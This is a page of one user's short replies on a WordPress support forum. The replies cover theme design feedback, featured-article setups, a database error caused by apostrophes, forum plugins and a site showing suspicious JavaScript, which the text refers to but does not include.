In reply to: Please review my first attempt at custom WP designOdd…. dunno what to say, gets smaller and larger for me when I click the little A, big A….

In reply to: Magazine Style Featured ArticleAre you meaning the “Infidel” post? Are you going to be doing this as a separate part of the blog, rather than wanting to just “promote” a particular post to this position?
Here’s how I do that sort of thing for specific “articles” outside the actual “flow” of the blog:
http://wordpress.org/support/topic/98121 – first post explains my setup.
There’s also a rewrite of the adhesive plugin, but I can’t find the post about it *sigh*

In reply to: wp-login.php doesn’t exist!Dunno, not using this version at all, but if you think it’s a bug, you should do a trac report….

In reply to: apostrophe creates database SQL syntax errorWell, that leads me to believe it’s maybe one of these possibles:
1. your host has something “odd” set up with the mysql backend;
2. there’s something unusual going on with the “collation” that your mysql backend is using in comparison to the character set your blog is using.
First thing I would do, were this me, would be to get onto my host tech support, explain the problem in detail, ask them for advice and help, see what they can tell me. Then go from there.
[Note that if your host is some drecky like yahoo, netfirms, or godaddy, the above is NOT likely to get you anywhere at all.]
Forum: Themes and Templates
In reply to: Swiping a ThemeOh sure, there are ways. But what you really need to do is simply ASK them if they would mind you using the theme. At worst they’ll say no. At best, they’ll send you a zip file.

In reply to: bbPress does not work. It has bugs.*sigh* There’s various other forum plugins. If you had searched for “forum plugins” you would have found at least these two:
xdforum from http://www.xdweb.net/xdforum (which seems to be down right now);
rs-discuss from http://www.sargant.com/blog/wordpress-plugins/rs-discuss/ (not sure where this one’s at in the dev cycle).
However, I’m currently using both of them on various installations of wp, and both work very very well, were very simple to install and skin.
Then again, bbpress is also very simple to install and skin, and provides plenty of extensible functionality. But if you’re looking for all the crap that phpBB et al allow, like dancing sigs, animated avatars etc. (not to mention continual hackers and defacements of the goatse variety) you won’t find one that works OOB with wp, thank goddess.

In reply to: Dashboard gone, all graphics goneHmmm. Well, you’ve got some SERIOUSLY ugly stuff going on there, here’s a small sample:

No clue what to tell you there…. other than to immediately remove/comment out all the js in the head section.

In reply to: Dashboard gone, all graphics goneIs it the link in your profile? If so, it’s working fine for me. Have you cleared your browser cache and hard refreshed?
If not, how about providing a link – we’re not mindreaders.

In reply to: Dashboard gone, all graphics goneIf you’re talking about the link in your profile, it displays just fine. Your dashboard I can’t tell about.

In reply to: Going for that ‘sleaze’ lookOh. Wow. BRAVO!
Very very cool. VERY VERY nifty. It’s camp, it’s quirk, it’s not sleaze…. it’s Bogie and Hepburn….
Wow.

In reply to: Added new user, now I’m goneI think I remember a thread about this sort of problem a couple weeks back; I didn’t post in it and I’m not having any luck finding it. Maybe someone else will be able to hunt it up. Or maybe you’ll have a better selection of keywords to try – I used post author, administrator – didn’t find what I thought I remembered….

In reply to: apostrophe creates database SQL syntax errorDid you use a second “clean” database for the new install? Or put it in the same db with a different prefix?

In reply to: Is this WP?From looking at the dev site (link at the bottom), I’d say it’s some sort of in-house cms, perhaps borrowing from wp in some areas.

In reply to: Old post is displaying first.And don’t forget to check the checkbox before clicking Edit Timestamp, because if you don’t, it won’t change (unless that’s different in 2.1….)
